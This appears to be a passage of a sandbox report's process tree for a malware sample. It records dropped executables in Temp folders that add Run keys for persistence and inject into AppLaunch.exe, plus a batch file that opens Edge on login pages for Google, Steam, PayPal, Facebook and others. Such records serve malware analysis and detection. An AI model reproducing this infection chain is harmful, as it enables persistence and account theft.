C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5236 /prefetch:1
6⤵
PID:6560

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6024 /prefetch:1
6⤵
PID:6636

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6280 /prefetch:1
6⤵
PID:6676

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6164 /prefetch:1
6⤵
PID:6704

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8712 /prefetch:1
6⤵
PID:5288

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8668 /prefetch:1
6⤵
PID:5168

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9096 /prefetch:1
6⤵
PID:4016

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9276 /prefetch:1
6⤵
PID:488

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9320 /prefetch:1
6⤵
PID:3832

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9544 /prefetch:1
6⤵
PID:6736

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9004 /prefetch:1
6⤵
PID:2052

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9248 /prefetch:1
6⤵
PID:7132

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10000 /prefetch:1
6⤵
PID:4448

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10140 /prefetch:1
6⤵
PID:6464

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9980 /prefetch:1
6⤵
PID:3780

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10580 /prefetch:1
6⤵
PID:7220

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10788 /prefetch:1
6⤵
PID:7336

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10956 /prefetch:1
6⤵
PID:7452

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8748 /prefetch:1
6⤵
PID:7876

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8896 /prefetch:8
6⤵
PID:7960

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8896 /prefetch:8
6⤵
PID:7976

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=7784 /prefetch:8
6⤵
PID:7316

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=8052 /prefetch:8
6⤵
PID:7588

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8304 /prefetch:1
6⤵
PID:7912

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7736 /prefetch:1
6⤵
PID:7048

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7456 /prefetch:1
6⤵
PID:5852

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4336 /prefetch:1
6⤵
- Executes dropped EXE
PID:1564

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10340 /prefetch:1
6⤵
PID:8700

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,11839917614292586297,6082063483381871515,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=8284 /prefetch:2
6⤵
PID:9208

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
5⤵
PID:1368

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
6⤵
PID:4680

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2112,18434167097777971445,2756236763575006000,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 /prefetch:3
6⤵
PID:3856

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2112,18434167097777971445,2756236763575006000,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2092 /prefetch:2
6⤵
PID:2100

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/
5⤵
PID:4484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
6⤵
PID:5092

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,2023082965430325035,9547573836019120738,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 /prefetch:3
6⤵
PID:4812

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,2023082965430325035,9547573836019120738,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2128 /prefetch:2
6⤵
PID:552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login
5⤵
PID:3904

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
6⤵
PID:3016

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2192,13511213929442855600,15558343157868315667,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2204 /prefetch:2
6⤵
PID:5624

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2192,13511213929442855600,15558343157868315667,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
6⤵
PID:5636

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/
5⤵
PID:5604

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
6⤵
PID:5744

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login
5⤵
PID:6016

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
6⤵
PID:6064

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin
5⤵
PID:4276

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x40,0x120,0x148,0x124,0x16c,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
6⤵
PID:6204

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/
5⤵
PID:6312

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x104,0x16c,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
6⤵
PID:6364

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
5⤵
PID:6468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
6⤵
PID:6516

C:\Users\Admin\AppData\Local\Temp\2778.exe
C:\Users\Admin\AppData\Local\Temp\2778.exe
2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:7128

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\DT7Zn0ah.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\DT7Zn0ah.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4560

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\TF6oY8aC.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\TF6oY8aC.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5076

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\SV6Bk6ti.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\SV6Bk6ti.exe
5⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4540

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1bt55Pr4.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1bt55Pr4.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4244

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
PID:3516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3516 -s 540
8⤵
- Program crash
PID:1968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4244 -s 620
7⤵
- Program crash
PID:6068

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2Nj465lM.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2Nj465lM.exe
6⤵
- Executes dropped EXE
PID:5756

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2DC3.bat" "
2⤵
PID:3852

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login
3⤵
PID:6320

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
4⤵
PID:2668

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
3⤵
PID:1516

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd121746f8,0x7ffd12174708,0x7ffd12174718
4⤵
PID:1724

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/
3⤵
PID:2224

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
